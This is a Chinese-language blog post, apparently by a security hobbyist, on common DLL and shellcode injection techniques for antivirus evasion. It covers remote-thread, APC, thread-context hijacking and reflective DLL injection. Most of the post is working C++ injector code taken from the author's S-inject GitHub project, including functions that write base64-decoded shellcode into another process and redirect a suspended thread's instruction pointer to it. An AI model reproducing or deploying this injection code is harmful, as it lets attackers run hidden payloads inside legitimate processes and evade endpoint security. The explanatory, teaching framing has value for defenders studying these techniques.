Joe1sn's Cabinet

dll-inject

公众号:https://mp.weixin.qq.com/s/qYO0Cf5MRT4vKCT5WYz1KQ

或许我们的公众号会有更多你感兴趣的内容

img

【免杀】常见的DLL和Shellcode注入方式

这里的dll和shellcode注入指的是动态的注入,及进程运行时的注入

关于代码可以从github仓库找到:https://github.com/Joe1sn/S-inject

A. DLL注入

首先回顾一下一个程序是如何加载dll的,使用的是kernel32.dllLoadLibraryA函数

1
2
3
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);

lpLibFileName就是dll文件的路径

由于本篇只是简单的、常见的方法,没有涉及如天堂之门(Heaven’s Gate)等高级技术,需要暂时认为

  • 64位dll只能使用64位注入器注入64位程序,32位也是如此

远程线程调用注入

这里用到的是函数createRemoteThread 函数,主要作用就是再其他进程创建一个新的线程

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
  • hProcess:远程进程句柄
  • lpStartAddress:线程执行的应用程序定义函数的指针,表示远程进程中线程的起始地址。 函数必须存在于远程进程中
  • lpParameter:对应的参数

那么可以得到思路:

  1. 将dll的路径写入远程的进程(待注入的进程)

  2. 获得远程进程LoadLibraryA函数的地址

    这里有个小小的trick,windows加载核心DLL(如ntdll.dllkernel32.dll)的时候,相对于内存的位置是固定的,也就是加载到进程的内存是相对固定的,那么我们加载这些dll的内存位置和远程进程的是一样的

  3. 使用createRemoteThread 创建新的进程

可以得到如下代码(为了排版,所有代码都会省略掉无关部分)

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*                  Remote Thread Injection                  */
void Injector::RemoteThreadInject(DWORD pid) {

SIZE_T dwWriteSize = 0;
//1.获得远程进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//2.在远程进程中创建内存空间,内存RWX
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT, PAGE_READWRITE);
//3.向2中开辟的内存空间写入dll路径
bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize);

//4.从ntdll导出 LoadLibraryA 函数
HMODULE Ntdll = LoadLibraryA("kernel32.dll");
LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA");

//5.创建远程进程
HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, NULL, NULL);
//6.等待远程线程执行
WaitForSingleObject(hRemoteProcess, 500);
//7.释放资源
VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT);
CloseHandle(hProcess);
FreeModule(Ntdll);
}

image-20240930085635572

那么同样的原理,加载完成DLL后,如何卸载该DLL呢?,可以使用windows提供的函数FreeLibrary,具体原理类似,读者不妨自己实现一下

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L156

APC注入

这里就是利用KiUserDispatch调度进行APC例程调用,让线程使用LoadLibarary进行注入

关于Windows APC队列更深入的了解:https://www.anquanke.com/post/id/247813

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L304

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void Injector::ApcInject(DWORD pid) {
SIZE_T dwWriteSize = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x300, MEM_COMMIT, PAGE_READWRITE);

bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize);

HMODULE Ntdll = LoadLibraryA("kernel32.dll");

LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA");

THREADENTRY32 te = { sizeof(THREADENTRY32) };
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

BOOL bStat = FALSE;
HANDLE hThread = NULL;

//得到第一个线程
if (Thread32First(hThreadSnap, &te)) {
do
{
if (te.th32OwnerProcessID == pid) {
hThread = OpenThread(PROCESS_ALL_ACCESS, FALSE, te.th32ThreadID);
//插入APC队列
DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryBase, hThread, (ULONG_PTR)pAddress);

if (dwRet > 0) bStat = TRUE;
CloseHandle(hThread);
break;
}
} while (Thread32Next(hThreadSnap, &te));
}
VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT);
CloseHandle(hProcess);
CloseHandle(hThreadSnap);
}

还有一个技巧就是使用NTDLL中的未导出函数NtTestAlert就可以立即调用APC例程,这个方法的好处就是绕过了createRemoteThread的API调用,使用了QueueUserAPC进行创建,但是可能会出现APC队列阻塞。也是一个比较入门的免杀手法。

上下文注入

如果你之前在写PE加载器的话,那么自然而然的就想到这个,主要是通过暂停程序,获得并修改上下文,在内存中写入shellcode,然后再恢复就行了,这部分为了理解简单会放到shellcode注入中讲解

用到的主要WINAPI就是

  1. 创建会shellcode裸函数(__declspec(naked)),导出LoadLibrary等函数
  2. OpenProcess后再OpenThread,使用SuspendThread暂停线程
  3. 创建类型为CONTEXT的变量,初始化context.ContextFlags=CONTEXT_FULL
  4. GetThreadContext获得上下文
  5. VirualAlloc获得空间,类似RtlMoveMemory这种复制shellcode到空间
  6. context.eip = shellcode_addr,使用SetThreadContext重新设置上下文,ResumeThread恢复线程

反射DLL注入

比较复杂的一种方法,也是注入、免杀成功率比较高的一种方法

首先需要了解DLL加载过后的格式,我这里随意举个使用d3d11.dll的例子

image-20240930091929059

神奇的是加载后的DLL在进程内存和文件中的存储是一致的,我们则可以利用这一特性,仿照loadlibaray进行自己函数的装载,这里结合 https://github.com/stephenfewer/ReflectiveDLLInjection 讲解

由于上面的分析可以得到大致步骤

  1. 使用CreatFile读取DLL文件,并将内容加载到远程进程
  2. 找到指定函数的偏移位置(类似于DllMain
  3. 使用createRemoteThread或者其他方法进行注入

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L205

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void Injector::ReflectInject(DWORD pid) {
HANDLE hFile = CreateFileA(this->DllPath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

SIZE_T dwWriteSize = 0;
char* buffer = new char[dwFileSize];
DWORD dwReadSize;

DWORD dwReflectiveLoaderOffset = this->dwGetOffset(buffer, (CHAR*)"ReflectiveLoader");

bool bRet = WriteProcessMemory(hProcess, pBase, buffer, dwFileSize, &dwWriteSize);
LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pBase + dwReflectiveLoaderOffset);

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, pBase, (DWORD)NULL, NULL);

WaitForSingleObject(hThread, 500);

delete[] buffer;
VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT);
CloseHandle(hFile);
CloseHandle(hProcess);
CloseHandle(hThread);
}

关于dwGetOffset函数 https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L775 主要是PE文件格式RVA那套东西,本片文章不再赘述

回到反射式注入,我们的DLL并没有直接调用DllMain,而是先调用了ReflectiveLoader这个函数

https://github.com/stephenfewer/ReflectiveDLLInjection/blob/178ba2a6a9feee0a9d9757dcaa65168ced588c12/dll/src/ReflectiveLoader.c#L51

函数主要是从Ldr遍历链上dll,找到一些关键函数例如

1
2
3
// we stop searching when we have found everything we need.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;

之后利用这个API来加载PE文件,大致步骤就是这样的

image-20240930094325881

最后跳转到映射好的DllMain中执行

这种方法的好处十分明显,在远程进程中进行映射,而且由于只需要将内容写入远程进程,所以适合从网络加载,对免杀有好处。缺点自然就是构造dll较为复杂,因为需要一个loader去加载

image-20240930095417856

B. Shellcode注入

这里复习下远程线程调用注入的步骤

  1. 将dll的路径写入远程的进程(待注入的进程)
  2. 获得远程进程LoadLibraryA函数的地址
  3. 使用createRemoteThread 创建新的进程

有趣的是如果我们在步骤2中传入的不是远程进程LoadLibraryA函数的地址,而是远程的shellcode地址,这让整个情况变得有意思起来,这样就可以使用远程进程加载shellcode了

这里举个例子

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L472

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void Injector::ShellcodeInject(string basedsc, DWORD pid) {
BOOL bRet;

string shellcode = Base64Decode(basedsc);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
DWORD size = shellcode.size() + 1;
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), size - 1, NULL);
HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);

WaitForSingleObject(hRemoteProcess, INFINITE);
VirtualFreeEx(hProcess, pAddress, shellcode.size() + 1, MEM_COMMIT);
CloseHandle(hProcess);
}

好,这里就可以看下关于上下文注入了

https://github.com/Joe1sn/S-inject/blob/1435a43c613c9cdbb07c9cbe4ad956032f9389f9/S-inject/Injector.cpp#L585

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void Injector::ContextShellcodeInject(string basedsc, DWORD pid) {
BOOL bRet;

string shellcode = Base64Decode(basedsc);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
DWORD size = shellcode.size() + 1;
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);

bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), size - 1, NULL);
shellcode = "\x00\x00\x00\x00";

THREADENTRY32 te = { sizeof(THREADENTRY32) };
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

BOOL bStat = FALSE;
HANDLE hThread = NULL;
DWORD dwRet = 0;
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_CONTROL;

//得到第一个线程(main thread)
if (Thread32First(hThreadSnap, &te)) {
//main thread can not be hijacked
while (Thread32Next(hThreadSnap, &te)) {
if (te.th32OwnerProcessID == pid) {
hThread = OpenThread(PROCESS_ALL_ACCESS, FALSE, te.th32ThreadID);
DWORD lpflOldProtect;
VirtualProtectEx(hProcess, pAddress, (SIZE_T)size + 1, PAGE_EXECUTE, &lpflOldProtect);
dwRet = SuspendThread(hThread);

dwRet = GetThreadContext(hThread, &context);

CloseHandle(hThread);
continue;
}

#ifdef _WIN64
context.Rip = (DWORD64)pAddress;
#else
context.Eip = (DWORD)pAddress;
#endif // _WIN64
dwRet = SetThreadContext(hThread, &context);

ResumeThread(hThread);
CloseHandle(hThread);
break;
}
}
}
VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT);
CloseHandle(hProcess);
CloseHandle(hThreadSnap);

}

核心代码在于

1
2
3
4
5
6
7
8
9
10
11
12
13
                dwRet = SuspendThread(hThread);
dwRet = GetThreadContext(hThread, &context);
CloseHandle(hThread);
continue;
}
#ifdef _WIN64
context.Rip = (DWORD64)pAddress;
#else
context.Eip = (DWORD)pAddress;
#endif // _WIN64
dwRet = SetThreadContext(hThread, &context);

ResumeThread(hThread);

和APC注入一样,便利了线程,然后选择一个线程暂停他(SuspendThread),然后获得当前线程的上下文,上下文包含了寄存器信息,然后我们就该他的ip寄存器,这样恢复线程后的,下一条指令就是我们的shellcode的地方。